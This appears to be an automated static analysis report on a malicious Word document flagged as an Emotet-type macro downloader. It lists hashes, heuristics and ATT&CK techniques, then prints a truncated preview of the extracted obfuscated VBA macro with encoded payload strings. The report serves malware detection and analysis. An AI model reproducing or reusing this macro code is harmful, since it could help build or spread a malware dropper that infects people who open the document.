Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f81bb769fbb1a022…

MALICIOUS

Office (OLE)

189.5 KB Created: 2018-03-28 04:53:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: fa99c2890808b4beeeceafe8d49edc5a SHA-1: 6a232274c70ac9dc23a39a6b1cf16bdb71c027a7 SHA-256: f81bb769fbb1a0229bb65ee07650f11b3147db9834ea70ff787ecb2b78ba82b5
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro uses CreateObject and an AutoOpen function, indicating it's designed to execute automatically upon opening. The ClamAV detection and heuristic firings strongly suggest it's a downloader for a second-stage payload, likely named 'macros.bas' based on static triage.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 59921 bytes
SHA-256: 2f2999ef1797dfbdcae06ac137674826738311e560c7e0511d3767b85247be27
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 17 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "mJipVWZTNDRzN"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "MzKPFizA"
Function sLiiZsMf()
On Error Resume Next
Select Case biJtq
      Case 34662
         ktjHJ = CStr(dlAib + CStr(25081) - zoisS * 86268)
      Case 68508
         wXFJT = fwXmqP
         zAKTD = Tan(66178 * iuXjwB)
End Select
obiGlLKs = CmqWc("juOABhADkAYgBhADEANABiADIAMjvpM", 3, 25)
Select Case mwQbz
      Case 66154
         oVdwqV = CStr(odrkzA + CStr(96104) - XZOKtd * 4090)
      Case 949
         LRKsA = LtjVL
         jVNNsq = Tan(31430 * zABbzY)
End Select
Select Case NuLls
      Case 41901
         bssDt = CStr(mPCSZK + CStr(71368) - dadol * 32482)
      Case 43279
         sdsNQ = vdwHiY
         SjHTi = Tan(91881 * XLmni)
End Select
mwYFK = CmqWc("FAA2ADkAYgA1AGIAYQA1ADkAMwA1ADcAZgBlADUAMQA5ADgAZgBmADQANwBjADkAMQBhADMAMgAyADkAYQAxADUAZgA3ADQAYwA5AGIANABhADkANABkAGUAZgA3ADgAMQA0AGYANAAyAGIANABhADMAYUCiLfd", 2, 152)
Select Case kUizG
      Case 9426
         RzPKjM = CStr(UYWSfM + CStr(10230) - qVUHV * 1944)
      Case 73455
         rEiANa = wAZjiS
         zmSHA = Tan(97542 * UIWKYd)
End Select
Select Case pTrZi
      Case 97104
         jtSZTv = CStr(BIoqc + CStr(82810) - AKZvk * 78164)
      Case 69202
         JXRnlB = oiLvb
         zZBiNi = Tan(40623 * IGYYwp)
End Select
bSmaNZijVz = CmqWc("ioviAYgBhADgANAAzAGQAMwBjAGYAZQBiAGUANgBiAGUAMABmAGUAOAA2ADgANQAyADYANgBiADAAMwBjADAAYwBjAGEANgBlAGEAMABlAGYAVLzHR", 5, 105)
Select Case RiuJw
      Case 71778
         vHfKPj = CStr(GfjPi + CStr(6010) - YMWKOT * 2968)
      Case 32033
         PoMMWD = ldDNd
         CDOoIB = Tan(52630 * JSlWtR)
End Select
Select Case KJAYmj
      Case 10051
         CcBid = CStr(aNioij + CStr(58586) - INbjjq * 78899)
      Case 61580
         qdClFO = RTEGfN
         bWzDH = Tan(75316 * YJKMAm)
End Select
EzqznEkNmAC = CmqWc("fPtYQA1ADIAMQBkADcAMAAzAGQANgBjADkAMABjAGEAMwAyAGMAZQA1AGEAOAAyADgAZAA1AGYAZAA3ADcAMwAxAGMAMwBjADUAOAA0AGIAbi6LHZ", 4, 104)
Select Case FzOLWm
      Case 20551
         asVww = CStr(OiYSv + CStr(98216) - KlmhsI * 33836)
      Case 38336
         YEckMT = uIaEWv
         iIqLK = Tan(59593 * uEnwvO)
End Select
Select Case mmXwsw
      Case 95481
         QwPjYq = CStr(DQZok + CStr(91635) - FEGaO * 88882)
      Case 15346
         Iifll = Dkszf
         wkKKQl = Tan(7431 * HKCRz)
End Select
qfnoNjLzUcb = CmqWc("bpZViaAYQAwAGIAYwAzADMAMAA3ADgAYQBlAGEAOAA4AGEAZgBmAGEAYwBjADMANwA4AGMAOQA4AGUW", 7, 71)
Select Case hTpSkD
      Case 69982
         nkEmE = CStr(AjjrFw + CStr(5911) - twJdq * 65898)
      Case 6943
         cNmAmk = aMbMtw
         FdjMZ = Tan(52573 * KMBhMa)
End Select
Select Case PCdEU
      Case 41251
         mzlTUw = CStr(DzpwiR + CStr(33447) - aZMscE * 9470)
      Case 67428
         TpEZE = YpOum
         EVwnv = Tan(2150 * wckJBc)
End Select
IsHoW = CmqWc("jiAA2AGEANAA0AGYAZAA2ADAAMgAxADMAMAA2ADMAOQBlAGYANwBmADcANdrn6z6", 3, 56)
Select Case Ercsth
      Case 28470
         AirLzb = CStr(HQWiR + CStr(41648) - QEhDU * 69968)
      Case 60138
         jDwcUj = VBFHa
         RwkBJ = Tan(64034 * TmWKF)
End Select
Select Case KihTdf
      Case 99121
         XIGjrc = CStr(mMAbau + CStr(45322) - BmCPBu * 60264)
      Case 29096
         WlGPS = qzPnQu
         FKbXp = Tan(75610 * Firmtf)
End Select
UtOpNr = CmqWc("juwuMCzhADIAMwAxADEAMwBiAGMAOQA0ADEAYQAwADEAMABkADUAYQBmADcANQBiAGEAMgBjADHF", 8, 67)
Select Case aQzjst
      Case 83795
         FWUTU = CStr(dKGHu + CStr(63691) - roiFsb * 18558)
      Case 84133
         UVmKPh = HYAcr
         ECVSd = Tan(54372 * lfzwz)
End Select
Select Case vRPBw
      Case 44662
         QtBkLI = CStr(zQuYrp + CStr(54853) - JVoiTl * 92397)
      Case 71586
         CMTwID = BiVLAz
         fkdMtP = Tan(89262 * qvAIt)
End Select
wXUEFMwzJ = CmqWc("O
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.